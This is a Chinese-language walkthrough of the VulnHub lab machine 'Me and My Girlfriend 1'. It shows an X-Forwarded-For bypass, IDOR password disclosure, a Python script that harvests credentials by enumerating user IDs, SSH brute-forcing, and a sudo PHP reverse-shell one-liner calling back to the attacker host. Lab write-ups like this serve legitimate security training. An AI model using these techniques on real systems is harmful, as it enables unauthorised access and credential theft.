靶机下载地址
https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
环境搭建
攻击机:192.168.56.102
靶机Me-and-My-girlfriend-1:192.168.56.101
信息收集
扫描局域网内存在的主机(arp-scan)发现靶机IP为192.168.56.101
端口扫描(nmap)发现开放了22端口和80端口
漏洞挖掘
尝试爆破22端口(hydra),爆破无果。
80端口入手,只能本地才能访问
使用谷歌插件ModHeader设置X-Forwarded-For为127.0.0.1
X-Forwarded:获得HTTP请求端真实的IP,在代理转发及反向代理中经常使用X-Forwarded-For 字段。
有一个登录页面,尝试万能密码,sql注入。经过测试,不存在万能密码和sql注入。
来到注册功能处,注册一个普通用户,账号密码为admin,邮箱:123@qq.com
登录进去,观察url,可能存在sql注入和水平越权,测试后发现不存在sql注入,但存在水平越权漏洞。
user_id=1,成功越权到eweuhtandingan用户
f12可直接查看用户的密码
kali自带工具crunch生成1-999的字典
使用burp进行抓包进行枚举用户
存在用户1,2,3,4,5,9,12,13
收集账号密码
也可用python脚本进行用户遍历收集账号密码生成字典文件
import requestsimport re for user_id in range(1,14): url = "http://192.168.56.101/?page=profile&user_id=" + str(user_id) #print(url) headers={ 'User-Agent': 'Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.106Safari/537.36', 'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=laj6g176m70i272au6dte5ceq2' } r = requests.get(url=url,headers=headers) r1 = r.text #print(r1) if 'username' in r.text: um=re.findall(r'id="username" value="(.*?)"',r1,re.I | re.M) #正则匹配账号 um1=[str(i) for i in um] um2=''.join(um1) #print(um2) f = open('账号.txt','a+') text = f.write(um2+'\n') if 'password' in r.text: pd = re.findall(r'id="password" value="(.*?)"',r1,re.I | re.M) #正则匹配密码 pd1 = [str(i) for i in pd] pd2 = ''.join(pd1) f = open('密码.txt','a+') text1 = f.write(pd2+'\n')
运行脚本会生成账号.txt和密码.txt的字典文件
爆破22端口(超级弱口令检查工具),成功爆破出ssh账号密码:alice/4lic3
成功连接ssh,在网站根目录下发现数据库连接的文件,里面有数据库的账号和密码
连接数据库进行查看
ls -la查看隐藏文件或隐藏目录,在.my_secret隐藏目录下发现flag1
提权(sudo提权)
1、只能使用上面数据库的账号密码:root/ctf_pasti_bisa
使用su 进行登录得到flag2
2、sudo -l查看特权用户,发现php是root权限
在靶机的 alice 用户下创建一个 PHP 反弹 shell,指定 Kali 的 IP 和监听的端口,回车之后即可反弹 shell
sudo /usr/bin/php -r '$sock=fsockopen("192.168.56.102",7777);exec("/bin/bash -i <&3 >&3 2>&3");'
成功提权拿到flag2